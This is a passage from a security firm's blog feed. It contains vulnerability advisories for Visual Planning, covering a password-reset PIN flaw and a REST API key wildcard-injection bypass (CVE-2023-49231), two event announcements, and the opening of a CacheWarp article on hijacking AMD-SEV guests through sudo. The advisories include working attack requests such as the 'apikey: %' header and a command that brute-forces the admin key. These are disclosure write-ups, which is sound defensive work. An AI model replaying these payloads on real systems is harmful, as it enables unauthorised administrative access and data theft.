&amp;lt;userSession isNull=&amp;#34;true&amp;#34;/&amp;gt;
&amp;lt;values&amp;gt;
&amp;lt;HashtableValue&amp;gt;
&amp;lt;key&amp;gt;login&amp;lt;/key&amp;gt;
&amp;lt;value class=&amp;#34;String&amp;#34;&amp;gt;admin&amp;lt;/value&amp;gt;
&amp;lt;/HashtableValue&amp;gt;
&amp;lt;/values&amp;gt;
&amp;lt;/com.visualplanning.query.NamedMethodParameter&amp;gt;
While handling this request, the server generates a five digit numeric pin and tries to send it to the email address associated with the provided username. Regardless of whether the email could be successfully transmitted, the generated pin is stored in a attribute of the session used while performing the reset. It should be noted that the password reset request message can be sent directly without enabling the button in the GUI if the message format is already known.
To complete the reset process, the correct pin (matching the pin stored in the session attribute) must be specified. A message similar to the following is issued by the application to validiate the provided pin:
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;com.visualplanning.query.NamedMethodParameter&amp;gt;
&amp;lt;methodName&amp;gt;validateResetPasswwd&amp;lt;/methodName&amp;gt;
&amp;lt;rawResult&amp;gt;false&amp;lt;/rawResult&amp;gt;
&amp;lt;userSession isNull=&amp;#34;true&amp;#34;/&amp;gt;
&amp;lt;values&amp;gt;
&amp;lt;HashtableValue&amp;gt;
&amp;lt;key&amp;gt;login&amp;lt;/key&amp;gt;
&amp;lt;value class=&amp;#34;String&amp;#34;&amp;gt;admin&amp;lt;/value&amp;gt;
&amp;lt;/HashtableValue&amp;gt;
&amp;lt;HashtableValue&amp;gt;
&amp;lt;key&amp;gt;userCode&amp;lt;/key&amp;gt;
&amp;lt;value class=&amp;#34;String&amp;#34;&amp;gt;58344&amp;lt;/value&amp;gt;
&amp;lt;/HashtableValue&amp;gt;
&amp;lt;/values&amp;gt;
&amp;lt;/com.visualplanning.query.NamedMethodParameter&amp;gt;
When an invalid pin is provided, the server responds with the following XML document:
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;com.visualplanning.query.QueryResult&amp;gt;
&amp;lt;resultValues&amp;gt;
&amp;lt;HashtableValue&amp;gt;
&amp;lt;key&amp;gt;ERROR&amp;lt;/key&amp;gt;
&amp;lt;value class=&amp;#34;String&amp;#34;&amp;gt;Invalid code.&amp;lt;/value&amp;gt;
&amp;lt;/HashtableValue&amp;gt;
&amp;lt;/resultValues&amp;gt;
&amp;lt;status&amp;gt;KO&amp;lt;/status&amp;gt;
&amp;lt;/com.visualplanning.query.QueryResult&amp;gt;
In case the pin is valid, the server responds with a VPUser data structure similar to the following:
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;com.visualplanning.query.QueryResult&amp;gt;
&amp;lt;resultValues&amp;gt;
&amp;lt;HashtableValue&amp;gt;
&amp;lt;key&amp;gt;vpUser&amp;lt;/key&amp;gt;
&amp;lt;value class=&amp;#34;com.visualplanning.data.admin.VPUser&amp;#34;&amp;gt;
&amp;lt;ID&amp;gt;1&amp;lt;/ID&amp;gt;
&amp;lt;UID&amp;gt;C442-53EB-B185-8804-F6BF-70AC-61C3-31BC&amp;lt;/UID&amp;gt;
&amp;lt;activated&amp;gt;true&amp;lt;/activated&amp;gt;
&amp;lt;comments&amp;gt;Super administrateur&amp;lt;/comments&amp;gt;
&amp;lt;email&amp;gt;yahd6Coo@schutzwerk.com&amp;lt;/email&amp;gt;
&amp;lt;expiredPasswd&amp;gt;false&amp;lt;/expiredPasswd&amp;gt;
&amp;lt;groups/&amp;gt;
&amp;lt;imageProfilBase64&amp;gt;&amp;lt;/imageProfilBase64&amp;gt;
&amp;lt;ldapSetting&amp;gt;
&amp;lt;entityID&amp;gt;-1&amp;lt;/entityID&amp;gt;
&amp;lt;/ldapSetting&amp;gt;
&amp;lt;licenses/&amp;gt;
&amp;lt;loginAttemps&amp;gt;0&amp;lt;/loginAttemps&amp;gt;
&amp;lt;mobilePhoneNumber&amp;gt;&amp;lt;/mobilePhoneNumber&amp;gt;
&amp;lt;name&amp;gt;admin&amp;lt;/name&amp;gt;
&amp;lt;ownerID&amp;gt;0&amp;lt;/ownerID&amp;gt;
&amp;lt;phoneNumber&amp;gt;&amp;lt;/phoneNumber&amp;gt;
&amp;lt;platform&amp;gt;VP&amp;lt;/platform&amp;gt;
&amp;lt;resetPasswd&amp;gt;true&amp;lt;/resetPasswd&amp;gt;
&amp;lt;resourceUser&amp;gt;false&amp;lt;/resourceUser&amp;gt;
&amp;lt;/value&amp;gt;
&amp;lt;/HashtableValue&amp;gt;
&amp;lt;/resultValues&amp;gt;
&amp;lt;status&amp;gt;OK&amp;lt;/status&amp;gt;
&amp;lt;/com.visualplanning.query.QueryResult&amp;gt;
In addition, an empty password is set for the target username. Upon first login after reset, a new password must be set for this user.
Solution/Mitigation
===================
The vendor suggests to update to Visual Planning 8 (Build 240207)
Disclosure timeline
===================
2023-11-01: Vulnerability discovered
2023-11-09: Contact vendor in order to determine security contact
2023-11-10: Received generic sales response from vendor
2023-11-14: Contacted CTO of vendor directly
2023-11-16: Vulnerabilities demonstrated in call with contact at vendor
2023-11-24: CVE assigned by Mitre
2023-11-24: Additional technical details provided to vendor
2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings is in progress
2024-01-30: Inquired about mitigation status regarding the reported vulnerabilities
2024-01-30: Vendor informed SCHUTZWERK that some of the issues were already fixed
2024-03-08: Sent advisory drafts to vendor
2024-03-28: Received patch information and release of advisory
Contact/Credits
===============
The vulnerability was discovered during an assessment by Lennert Preuth and David Brown of SCHUTZWERK GmbH.
References
==========
[0] https://www.visual-planning.com/en/
[1] https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html
Disclaimer
==========
The information provided in this security advisory is provided &amp;#34;as is&amp;#34; and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH&amp;#39;s website ( https://www.schutzwerk.com ).
Additional information
======================
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmYF0TAaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrtU9xAArJL5rKh3sNRto6xC7bgj
660J6OALXG9O9qaJo1RHYsVo9287THvSgsPs8/YXZhFNtkccsdxRll3t3UxC3IOU
/h+f612I4lFlk9t0LVH2eu6r8lTw47YLbO9RKoBF0TsysJMnytuM9+BxRyd+nLVo
rfVxmRfUhDKf5odkDz8IeatmMMeI1e7JuGylWtVOkSxdbCsmwEbObrEsCwe74AR4
PKJDVb6tq03q1g5H0yq7QLCMyuN7UBc0Jb/sYkL3hu0m7JlqyCVUfNBaD1pqZvlA
C3b+DnrJHwAPYKr5I4pKfss5Ghh3+yIaS/UIyaIImgS6pyBDOJUHULiMKumZYHCl
r3YWOLAjuTUztRmsktavjgItsf2NsXnBLYMDjZuZtBd6iU7iNKQ4EdbCNt8YCN8w
KmU3ot2Kwjty2aLj7CBdg8Mrc4Rr3PH2PoXWxSEBMWqokoO2zWVft+5BpJ/onU2P
um41+KNb7h7Pf/QVkU1KOZbwAI9tgJvZn2hHXmbQov0w3s0J9dqNoJ4Eu+qVPMAx
+Ug9Qvo3Qh325pDEeqxUhOsPh4dHam97ouDYE3XXLlKk8rar8TjhANAHHO4uUltW
gikWB1VVmGy7XS9lflWE1QLqO8BBK1jZUDU21fWQeAeF64R6NXikj0tkfvjOwwt/
CTQ2Nugk2kdYf5d73FSO9ds=
=PvYR
-----END PGP SIGNATURE-----
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Advisory: Authentication Bypass in Visual Planning REST API (CVE-2023-49231)</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-sa-2023-003/</link><author>Lennert Preuth</author><pubDate>Thu, 28 Mar 2024 14:00:00 +0200</pubDate><category>advisories</category><description>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2023-003: Authentication Bypass in Visual Planning REST API
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2023-49231
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-003/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-003.txt
Affected products/vendor
========================
All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.
Summary
=======
A wildcard injection inside a prepared SQL statement was found in an undocumented Visual Planning[0] 8 REST API route. The combination of fuzzy matching (via LIKE operator) and user-controlled input allows exfiltrating the REST API key based on distinguishable server responses. If exploited, attackers are able to gain administrative access to the REST API v2.0.
Risk
====
The vulnerability allows attackers to obtain a valid API key for the Visual Planning REST API v2.0. With such a key, attackers can use corresponding endpoints to exfiltrate company data or upload/download files. If no external user management (e.g. LDAP) is configured, the API key can also be used for user management tasks including the creation of administrative users. Since administrators are allowed to upload modules using the Visual Planning Admin Center, a compromise of the underlying server is likely.
Description
===========
During a recent red teaming assessment, Visual Planning was identified as part of the customers internet-facing assets. The software is developed by STILOG I.S.T. and provides resource management and scheduling features. A security assessment conducted by SCHUTZWERK found an authentication bypass in Visual Planning&amp;#39;s administrative REST API v2.0.[1]
Corresponding API routes are implemented in the PlanningWSRestV2.java file. A comparison between the documentation and implemented routes revealed an undocumented route (documentation accessed on 2024-03-05), which is externally reachable via a GET request to the /session endpoint.
The following code snippet shows the corresponding undocumented route, which takes the value of the apikey header as an argument:
vp.jar.src/com/visualplanning/webservice/PlanningWSRestV2.java
/* */ @GET
/* */ @Path(&amp;#34;/session&amp;#34;)
/* */ public Response openSession(@HeaderParam(&amp;#34;apikey&amp;#34;) String apikey, @HeaderParam(&amp;#34;keepalive&amp;#34;) String keepalive) {
/* 123 */ if (apikey == null || apikey.trim().isEmpty()) {
/* 124 */ return WSResponse.instance().errorApikey((Response.StatusType)Response.Status.FORBIDDEN, apikey);
/* */ }
/* */
/* 127 */ WSSession session = WSSession.existsSession(apikey);
/* 128 */ if (session != null) {
/* 129 */ return WSResponse.instance().error((Response.StatusType)Response.Status.FORBIDDEN, &amp;#34;Already opened session for apikey : &amp;#34;, apikey);
/* */ }
/* */
/* 132 */ if (WSSession.getSession(apikey, (keepalive != null &amp;amp;&amp;amp; Boolean.parseBoolean(keepalive) == true)) == null) {
/* 133 */ return WSResponse.instance().errorApikey((Response.StatusType)Response.Status.FORBIDDEN, apikey);
/* */ }
/* 135 */ return WSResponse.instance().success(&amp;#34;WSSession created for apikey : &amp;#34; + apikey);
/* */ }
Line 132 shows a call to the getSession(apikey, ...) method of the WSSession class. Subsequently, the getSession(..) method will call the makeSession(apikey, ..) method of the same class.
The following code snippet shows the makeSession(..) method. Line 646 contains the vulnerable prepared SQL statement, which is prone to wildcard injections[2] due to the usage of the LIKE operator in combination with user-controlled input:
vp.jar.src/com/visualplanning/webservice/WSSession.java
/* */ private static WSSession makeSession(String apiKey, WSSessionType type) {
/* 634 */ WSSession wsSession = new WSSession();
/* 635 */ WebApplicationContext applicationContext = WebApplicationContext.getDefaultApplication();
/* 636 */ UserSession userSession = applicationContext.createUserSession();
/* */
/* 638 */ DBConnection connection = applicationContext.createUserSession().getDBConnection();
/* 639 */ String databaseName = applicationContext.getProperty(&amp;#34;Application&amp;#34;, &amp;#34;Databasename&amp;#34;, &amp;#34;VisualPlanning7&amp;#34;);
/* */
/* 641 */ connection.setPoolMode(false);
/* 642 */ connection.setDatabase(databaseName);
/* */
/* */ try {
/* 645 */ if (type == WSSessionType.CLIENT) {
/* 646 */ String planningQuery = &amp;#34;SELECT XMLContent FROM Planning WHERE XMLContent LIKE ?&amp;#34;;
/* 647 */ PreparedStatement stmt = connection.createPreparedStatement(planningQuery);
/* 648 */ stmt.setString(1, &amp;#34;%&amp;lt;APIKey&amp;gt;&amp;#34; + apiKey + &amp;#34;&amp;lt;/APIKey&amp;gt;%&amp;#34;);
/* 649 */ ResultSet rs = stmt.executeQuery();
/* */
/* 651 */ if (!rs.next()) {
/* 652 */ return null;
/* */ }
The following GET request demonstrates the behavior of injecting a percent sign as wildcard character:
GET /vplanning/api/v2/session HTTP/1.1
Host: vp-host
apikey: %
[..]
The server will respond with a success message, indicating that a session was created for the used API key:
HTTP/1.1 200
[..]
WSSession created for apikey : %
Further tests showed that an apikey header payload of &amp;#39;1%&amp;#39; will result in a similar success response, if the api key starts with the character &amp;#39;1&amp;#39;. A payload with a different non-matching first apikey character like &amp;#39;2%&amp;#39; will result in a status code 403 and the error message &amp;#39;Invalid API key (2%)&amp;#39;.
The proof-of-concept script brute_vp_apikey.py[3] was developed in order to automate the process of exfiltrating the full apikey. The script can be executed as follows against a vulnerable Visual Planning instance and to extract the administrative api key:
$ python3 brute_vp_apikey.py --url http://127.0.0.1:8080
Visual Planning API Key: 79d4add3-6995-8cae-976b-4aaaddd90616
Solution/Mitigation
===================
The vendor suggests to update to Visual Planning 8 (Build 240207)
Disclosure timeline
===================
2023-11-01: Vulnerability discovered
2023-11-09: Contact vendor in order to determine security contact
2023-11-10: Received generic sales response from vendor
2023-11-14: Contacted CTO of vendor directly
2023-11-16: Vulnerabilities demonstrated in call with contact at vendor
2023-11-24: CVE assigned by Mitre
2023-11-24: Additional technical details provided to vendor
2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings is in progress
2024-01-30: Inquired about mitigation status regarding the reported vulnerabilities
2024-01-30: Vendor informed SCHUTZWERK that some of the issues were already fixed
2024-03-08: Sent advisory drafts to vendor
2024-03-28: Received patch information and release of advisory
Contact/Credits
===============
The vulnerability was discovered by Lennert Preuth of SCHUTZWERK GmbH.
References
==========
[0] https://www.visual-planning.com/en/
[1] https://app.swaggerhub.com/apis-docs/VisualPlanning/visual-planning_api_rest_v_2_0_us/2.0-oas3
[2] https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#sql-wildcard-injection
[3] https://www.schutzwerk.com/en/43/assets/advisories/brute_vp_apikey.py
Disclaimer
==========
The information provided in this security advisory is provided &amp;#34;as is&amp;#34; and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH&amp;#39;s website ( https://www.schutzwerk.com ).
Additional information
======================
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmYF0QkaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrvAZhAArh5MI5kM1lTjcIPPMiDS
VXJ51Z39qgcXySyrqrKslnP/2a/pfpakD8g161oOTSK/tt9Yd6L/6O5Vywe7Kx5V
lkVw7bs9J0WCY8aYzJ9RxdALt7HexAG+USgbjFWFajdSNNJ8giBu3P3ZCE8/GbHJ
0bKd8AN88NKL954olnI6qGbbnOr/QXWuIOWAYF9wXLgEk992hszYgt7SJIrFHuX6
2TC4iWOv4+72HQiQ8QYXCAZZVBDr3mUPQRBSJ9AZ3x7mxtJtMg8DyW0OATNe9Qlq
IUO7HFqrPwTQmFKf9whk8QD7/Y9dKTpAjlVzvXe49COqbjOzxmIe7muxwyVlOrqO
J9ZqreOr/ENLUgYDBaTLSTAHdEFNeqRGPK3dG0yiRSi3dtavJwr8PN1L52qTqLzT
C+Yrruu6Ac6pSin1Ea9WaXF+YS1ErRcbZxkRD5pS4s6V4NMkV4bDWlDtraQ0rDfL
AA+TxtA25p34S2MV/b3qAiA66UjrXEb6IJVNx4Rx7X3+gcLgI2w7t3DQEVuPaB3k
ltT1oV6ei7tqeQpn7usHzlfa6lq7Q3PIRpxYAo0g4kp4cVVblLRNWDpZMK+cBj1N
MrGP2f50gbpYej/yYHsXNU2pMfbUPoSq3X8uwVCoLvaBSBWx7I3TM1hl0/3wBi/w
phO+Bauh2QYGX2mFw/mduZM=
=ycwQ
-----END PGP SIGNATURE-----
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>SCHUTZWERK at Embedded World 2024</title><link>https://www.schutzwerk.com/en/blog/embedded-world-2024/</link><author>SCHUTZWERK GmbH</author><pubDate>Wed, 06 Mar 2024 09:00:00 +0100</pubDate><category>news</category><category>event</category><category>embedded security</category><description>
&lt;p>We from SCHUTZWERK will be at the Embedded World in Nuremberg from April 9th to 11th, 2024! The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.embedded-world.de/en/visitor"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.embedded-world.de/en/visitor"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">World&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
is a trade fair for experts in embedded systems. Come visit our booth 372 in Hall 5 and meet our special companion: Our Glitching Setup, which we use for Fault-Injection attacks as part of &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, for example, to bypass security checks like password prompts.&lt;/p>
&lt;p>Learn also how attackers specifically exploit weaknesses in the microarchitecture of systems or their software to bypass security measures. Our team of experts will happily answer your questions and also introduce you to our services in &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. We are happy to support you with your projects and see what you really need, because our motto is: Mastering Cybersecurity from Silicon to Cloud. Talk to us, we look forward to your visit!&lt;/p>
&lt;p>To schedule a meeting use the calendar below.&lt;/p>
&lt;p>You want to meet us, but got no ticket? No worries! Please email us at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="mailto:anfrage@schutzwerk.com"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">anfrage@schutzwerk.com&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
for your free ticket!&lt;/p>
&lt;div style="width:100%;height:100%;overflow:scroll" id="my-cal-inline">&lt;/div>
&lt;script type="text/javascript">
(function (C, A, L) { let p = function (a, ar) { a.q.push(ar); }; let d = C.document; C.Cal = C.Cal || function () { let cal = C.Cal; let ar = arguments; if (!cal.loaded) { cal.ns = {}; cal.q = cal.q || []; d.head.appendChild(d.createElement("script")).src = A; cal.loaded = true; } if (ar[0] === L) { const api = function () { p(api, arguments); }; const namespace = ar[1]; api.q = api.q || []; if(typeof namespace === "string"){cal.ns[namespace] = cal.ns[namespace] || api;p(cal.ns[namespace], ar);p(cal, ["initNamespace", namespace]);} else p(cal, ar); return;} p(cal, ar); }; })(window, "https://cal.schutzwerk.com/embed/embed.js", "init");
Cal("init", {origin:"https://cal.schutzwerk.com"});
Cal("inline", {
elementOrSelector:"#my-cal-inline",
calLink: "\/team\/embedded-world-2025\/meeting-at-embedded-world-2025",
layout: "month_view"
});
Cal("ui", {"styles":{"branding":{"brandColor":"#000000"}},"hideEventTypeDetails":false,"layout":"month_view"});
&lt;/script>
&lt;script>
Cal("on",{action:"bookingSuccessful",callback(c){_paq.push(["trackEvent","cal","bookingSuccessful"])}});
&lt;/script></description></item><item><title>SCHUTZWERK at the building IoT 2024</title><link>https://www.schutzwerk.com/en/blog/building-iot-2024/</link><author>SCHUTZWERK GmbH</author><pubDate>Thu, 15 Feb 2024 09:00:00 +0100</pubDate><category>news</category><category>event</category><category>embedded security</category><description>
&lt;p>SCHUTZWERK is visiting Munich! From February 21st to 22nd, 2024, we will be at the building IoT Conference participating with a presentation. The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.buildingiot.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">building&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">IoT&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
has been the meeting point since 2016 for those developing software applications and digital products in the Internet of Things and Industrial Internet of Things.&lt;/p>
&lt;p>On February 22nd, in our presentation &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.buildingiot.de/veranstaltung-21378-0-einbruch-durch-die-wand-seitenkanalangriffe-und-fehlerinjektion.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Breaking&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-21378-0-einbruch-durch-die-wand-seitenkanalangriffe-und-fehlerinjektion.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Through&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-21378-0-einbruch-durch-die-wand-seitenkanalangriffe-und-fehlerinjektion.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-21378-0-einbruch-durch-die-wand-seitenkanalangriffe-und-fehlerinjektion.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Wall:&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-21378-0-einbruch-durch-die-wand-seitenkanalangriffe-und-fehlerinjektion.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Side&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-21378-0-einbruch-durch-die-wand-seitenkanalangriffe-und-fehlerinjektion.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Channel&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-21378-0-einbruch-durch-die-wand-seitenkanalangriffe-und-fehlerinjektion.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Attacks&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-21378-0-einbruch-durch-die-wand-seitenkanalangriffe-und-fehlerinjektion.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-21378-0-einbruch-durch-die-wand-seitenkanalangriffe-und-fehlerinjektion.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Fault&lt;/span>
&lt;/a>&lt;a
href="https://www.buildingiot.de/veranstaltung-21378-0-einbruch-durch-die-wand-seitenkanalangriffe-und-fehlerinjektion.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Injection&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
we will showcase invisible methods through which attackers obtain confidential information. We will shed light on hidden dangers and provide a practical and illustrative insight into the topic, strengthening awareness of the complex threats in the highly connected world of IoT.&lt;/p>
&lt;p>We look forward to exchanging ideas on IoT and Embedded Security at the event. Would you like to schedule a meeting with us in advance? We&amp;rsquo;d be happy to! Simply send us an email at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="mailto:info@schutzwerk.com"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">info@schutzwerk.com&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
with a proposed time. We will be onsite throughout the conference.&lt;/p></description></item><item><title>CacheWarp: Dropping one write to take over AMD-SEV</title><link>https://www.schutzwerk.com/en/blog/cachewarp/</link><author>Youheng Lü</author><pubDate>Thu, 23 Nov 2023 09:14:16 +0100</pubDate><category>attacks</category><category>news</category><category>reverse engineering</category><description>
&lt;p>On 2023-11-14 the CISPA Helmholtz Center for Information Security published a new Attack on AMD-SEV called CacheWarp &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-20592"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">CVE-2023-20592&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, in which I am one of the original authors.
This attack allows a malicious hypervisor to drop memory writes on an encrypted Virtual Machine using the &lt;code>invd&lt;/code> instruction.
Due to the difficulty of the setup, a feasible attack should only drop memory once to achieve its goal.
In this article, we examine how one memory drop is enough to break &lt;code>openssh&lt;/code> and &lt;code>sudo&lt;/code> to completely hijack the victim Virtual Machine.&lt;/p>
&lt;h2 id="preliminaries">Preliminaries&lt;/h2>
&lt;h3 id="amd-sev">AMD-SEV&lt;/h3>
&lt;p>AMD-SEV, or AMD Secure Encrypted Virtualization, is a hardware-based security feature that enables encryption of virtual machines' memory, theoretically safeguarding data from unauthorized access even if the hypervisor is compromised. It helps protect sensitive information within cloud environments by encrypting each virtual machine&amp;rsquo;s memory, enhancing overall system security.&lt;/p>
&lt;h3 id="attack-scenario">Attack scenario&lt;/h3>
&lt;p>In the attack scenario, we assume the attacker to be a malicious hypervisor, who wants to break into a guest Virtual Machine running on AMD-SEV.
Using CacheWarp the attacker can leverage the &lt;code>invd&lt;/code> instruction to selectively drop a memory write.
Using this primitive the attacker wants to break into the system by first logging into the machine using &lt;code>openssh&lt;/code> and then escalating their privileges
using &lt;code>sudo&lt;/code>.&lt;/p>
&lt;h3 id="attack-detail-dropping-a-memory-write">Attack Detail: Dropping a memory write&lt;/h3>
&lt;p>In our context, a memory write is when a program attempts to write any value to a specific address. A write to a register cannot be attacked by &lt;em>CacheWarp&lt;/em>.
Due to the complexity of the &lt;em>CacheWarp&lt;/em> attack, it is best to find attacks that only require one dropping a single write.
The specifics of how the write drop is accomplished are out of the scope of this article and can be found in the original &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://cachewarpattack.com/paper.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Research&lt;/span>
&lt;/a>&lt;a
href="https://cachewarpattack.com/paper.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Paper&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[1].&lt;/p>
&lt;h2 id="attacks">Attacks&lt;/h2>
&lt;p>The &lt;code>sudo&lt;/code> attack is a lot simpler than the &lt;code>openssh&lt;/code> attack, therefore we analyze this one first.&lt;/p>
&lt;h3 id="privilege-escalation---sudo---keep-uid0">Privilege escalation - Sudo - keep UID=0&lt;/h3>
&lt;p>&lt;code>sudo&lt;/code> allows a user to execute commands with administrative privileges but contains a few checks to determine whether a user is authorized to do so.
By dropping a specific write we can trick &lt;code>sudo&lt;/code> into thinking that we are already the root user, bypassing any further checks.
The attack targets the &lt;code>get_user_info&lt;/code> function, which collects various information about the current user.
We abuse that the root user has UID=0 and the &lt;code>struct user_details&lt;/code> is initialized with zero values.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-C" data-lang="C">&lt;span style="color:#6ab825;font-weight:bold">static&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> ** &lt;span style="color:#447fcf">get_user_info&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> user_details *ud) {
&lt;span style="color:#999;font-style:italic">// ...
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> ud-&amp;gt;uid = getuid(); &lt;span style="color:#999;font-style:italic">// &amp;lt;-- victim
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#999;font-style:italic">// ...
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span>}&lt;/code>&lt;/pre>&lt;/div>
&lt;p>When we drop the write in the line &lt;code>ud-&amp;gt;uid = getuid()&lt;/code>, &lt;code>ud-&amp;gt;uid&lt;/code> stays 0. The next time &lt;code>sudo&lt;/code> checks, it will see &lt;code>UID=0&lt;/code> and believe we are the &lt;code>root&lt;/code> user and executing our requested command with administrative privileges without any further checks.&lt;/p>
